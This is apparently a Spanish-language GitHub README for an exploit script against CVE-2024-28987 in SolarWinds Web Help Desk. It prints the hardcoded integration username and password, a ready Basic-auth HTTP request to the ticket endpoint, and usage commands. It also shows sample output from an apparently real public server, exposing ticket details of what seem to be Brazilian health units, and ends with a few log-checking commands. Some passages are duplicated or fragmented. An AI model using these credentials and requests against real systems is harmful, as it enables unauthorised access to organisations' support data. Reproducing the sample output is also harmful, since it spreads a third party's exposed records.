darabium/cve-2024-28987
**CVE-2024-28987** es una vulnerabilidad crítica en SolarWinds Web Help Desk (WHD) que permite a atacantes remotos acceder a información sensible de los tickets mediante **credenciales codificadas**. Esta vulnerabilidad tiene una **puntuación CVSS de 9.1 (Crítica)** y está siendo explotada activamente.
⚠️ DESCARGO DE RESPONSABILIDAD: Esta herramienta es solo para fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Utiliza esta herramienta únicamente en sistemas que te pertenezcan o tengan permiso explícito para probar.
CVE-2024-28987 es una vulnerabilidad crítica en SolarWinds Web Help Desk (WHD) que permite a atacantes remotos acceder a información sensible de tickets mediante credenciales hardcodeadas. Esta vulnerabilidad tiene una puntuación CVSS de 9.1 (Crítica) y se está explotando activamente en la naturaleza.
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2024-28987 |
| Puntuación CVSS | 9.1 (Crítica) |
| CWE | CWE-798 (Credenciales Hardcodeadas) |
| Productos Afectados | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| Versión Parcheada | 12.8.3 Hotfix 2 |
| Explotación | Explotada activamente en la naturaleza |
| Añadido al KEV de CISA | 15 de octubre de 2024 |
Un atacante no autenticado puede:
/OrionTickets# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port
# Interactive mode (will prompt for target)
python3 cve-2024-28987.py
# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Hardcoded Credentials Vulnerability ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets
======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================
Ticket #1
├── ID: 5690
├── Client: UBS Portao Vermelho
├── Status: Open
├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID: 5691
├── Client: UBS Centro
├── Status: In Progress
├── Detail: ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Scanning for Sensitive Data
======================================================================
[!] Potential PASSWORD data found in ticket #5723
└── detail: Please reset my password for system access...
[?] Do you want to extract ALL tickets to file? [y/N]: y
[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42
[*] Done!
GitHub: https://github.com/Darabium
CVE-2024-28987/
├── cve-2024-28987.py # Main exploit script
├── README.md # This file
└── LICENSE # MIT License
Cuando extraigas tickets, se crean los siguientes archivos:
# Standard JSON format (always created)
138_94_193_65_8098_tickets.json
# JSONL format (created if > 100 tickets)
***_tickets.jsonl
USERNAME = "helpdeskIntegrationUser"
PASSWORD = "dev-C4F8025E7"
/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
Host: vulnerable-target:8098
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
/OrionTickets# Check for exploitation attempts in logs
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
# Check for unauthorized access patterns
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
# Check current version
cat /opt/WebHelpDesk/version.txt
Esta vulnerabilidad ha sido añadida al catálogo de Vulnerabilidades Explotadas Conocidas (KEV) de CISA. Se requiere que las organizaciones apliquen el parche antes de la fecha límite especificada.
¡Las contribuciones son bienvenidas! No dudes en enviar pull requests o abrir issues.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Este proyecto está licenciado bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
Darabium - Trabajo inicial - GitHub
Si encuentras útil esta herramienta, ¡por favor dale una ⭐ en GitHub!
Hecho con ❤️ para Darabium